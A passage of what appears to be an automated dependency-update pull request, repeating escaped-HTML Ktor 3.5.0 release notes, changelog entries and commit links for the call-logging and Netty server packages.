optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-call-logging-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca 